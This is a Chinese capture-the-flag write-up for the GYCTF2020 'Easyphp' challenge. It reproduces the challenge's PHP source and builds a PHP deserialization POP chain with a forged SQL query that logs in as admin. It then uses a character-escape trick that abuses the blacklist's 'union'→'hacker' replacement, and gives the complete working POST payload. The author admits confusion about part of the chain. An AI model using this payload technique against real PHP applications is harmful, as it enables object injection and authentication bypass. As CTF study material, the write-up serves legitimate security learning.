[GYCTF2020]Easyphp
打开题目随便输入登录了一下,都是啥反映都没有,然后看到url上面是login.php就尝试输了一下register.php,也没有这个页面,然后尝试了一系列备份文件,发现有www.zip ,下下来是题目的源码,在登录的时候抓包可以发现参数是用post方式进行传递的 
源码审计
lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
}
}
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
在源码审计当中学到了很多函数
$mysqli->prepare:是创建一个准备查询语句,这里是一个SQL插入语句
bind_param("sss", firstname,lastname, $email):该函数绑定了 SQL 的参数,且告诉数据库参数的值。
"sss" 参数列处理其余参数的数据类型。s 字符告诉数据库该参数为字符串。
bind_result($idResult, $passwordResult):将结果中的值绑定为变量
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
}
}
在lib.php中的dbCtrl类中给出了执行sql语句的代码以及怎样是查询成功的条件,首先要我们进行登录的username=admin,然后我们进行sql注入里面的password值等于id值的md5加密即可。这里我们可以对sql语句进行构造,原来的语句是select id,password from user where username=? ,我们控制id的值等于1,然后password的值就为1的md5加密:select 1,c4ca4238a0b923820dcc509a6f75849b from user where username=?
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
在UpdateHelper类中,__destruct 魔术方法这里有输出,就有可以输出flag的地方,但是这里将这里的类当作字符串来输出了,所以可以调用_toString 魔术方法
class User
{
public $id;
public $age=null;
public $nickname=null;
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
在User类里面就有这个魔术方法,在这里面从nickname 变量调用了User 类里面的update() 函数,并且参数是null
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
}
这里的getNewinfo 函数就是将新实例化一个类,里面的元素是age 和nickname ,在update函数里面将这个实例化的类再反序列化,因为上面调用的update方法并不是User类里面的,调用了非原来类里面的方法就会触发__call魔术方法
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
在__call 里面也有一个输出,这里是通过CtrlCase来调用login函数,这里wp里面说参数是从User类里面的age传过来的,这里不太明白,但是这里通过CtrlCase来实例化了dbCtrl里面的对象,进而触发了login函数,所以这里我们对dbCtrl里面的变量赋值就可以实现我们的构造,并且这里面的$sql 参数,其实是User 类里面的$age 可以控制的,因为在User 里面新实例化了一个新的dbCtrl 类,所以可以构造pop链 在User类在__call 魔术方法里面用到update()函数来在nickname 处新实例化了一个info类,然后再Info 类当中通过触发login函数里面的update函数,然后实例化了一个dbCtrl类,在UpdateHelper 类里面的echo $this->sql; 语句触发了__call 函数,因为__call 函数在User 类里面,所以这里就新实例化了一个新的User 类。 pop链顺序
UpdateHelper.sql->User
User.nickname->Info
Info.CtrlCase->dbCtrl
<?php
error_reporting(0);
session_start();
class User
{
public $age=null;
public $nickname=null;
public function __construct()
{
$this->age='select 1,c4ca4238a0b923820dcc509a6f75849b from user where username=?';
$this->nickname= new Info();
}
}
class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase =new dbCtrl();
}
}
Class UpdateHelper{
public $sql;
public function __construct(){
$this->sql =new User();
}
}
class dbCtrl
{
public $name='admin';
public $password='1';
}
$a=new UpdateHelper();
echo serialize($a);
运行结果是
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
因为源码中是既进行了序列化,也进行了反序列化,所以我们还要将序列化的字符串进行反序列化 可以看到这里反序列化的是getNewinfo 的返回值
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
}
getNewInfo 函数是将实例化的类进行序列化操作,再经过safe() 函数处理,所以最终需要进行反序列化的并不是我们传进去的字符串,而是用我们post传入的age 和nickname 参数进行实例化处理,最后得到的返回值再进行反序列化
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
safe函数就是使用正则匹配,将array里面的字符串都换成hacker
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
我们先按照源码的提示序列化一个Info 类
<?php
class Info{
public $age='10';
public $nickname='ken';
public $CtrlCase;
}
$o = new Info();
echo serialize($o);
得到的结果:
O:4:"Info":3:{s:3:"age";s:2:"10";s:8:"nickname";s:3:"ken";s:8:"CtrlCase";N;}
所以说我们如果将我们上面构造pop链得到的结果当作age 和nickname 传入时其实就是当作序列化时的一个字符串了,所以我们可以通过闭合参数中的引号来进行字符串的逃逸,,然后在最后再加上一个结束的}
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
先把上面的字符串传给nickname来尝试一下序列化  红色的范围内是我们传进去的nickname的值,虽然最开始我们传入的" 想要闭合前面的" 但是长度的限制还是没有办法绕过,所以这里的safe() 函数就派上了用场,只要黑名单里面的字符串和hacker 长度不一样我们就可以利用序列化中字符的逃逸,用第一个union 尝试一下,因为整个字符串的长度是263,union 和hacker 的长度相差1,所以这里就需要有263个union 来进行绕过,263*5+263=1578,然后替换之后去掉后面我们需要进行反序列化的字符串的长度就刚好是1578 接下来先构造263个union,然后拼接上我们刚刚尝试的payload
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
将上面的payload进行序列化操作之后长度真的是1578,那我们来看看经过safe函数的过滤之后是什么样的  经过safe函数的过滤之后union都被替换成了hacker ,并且长度还是1578,所以成功的完成了字符的逃逸 
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

|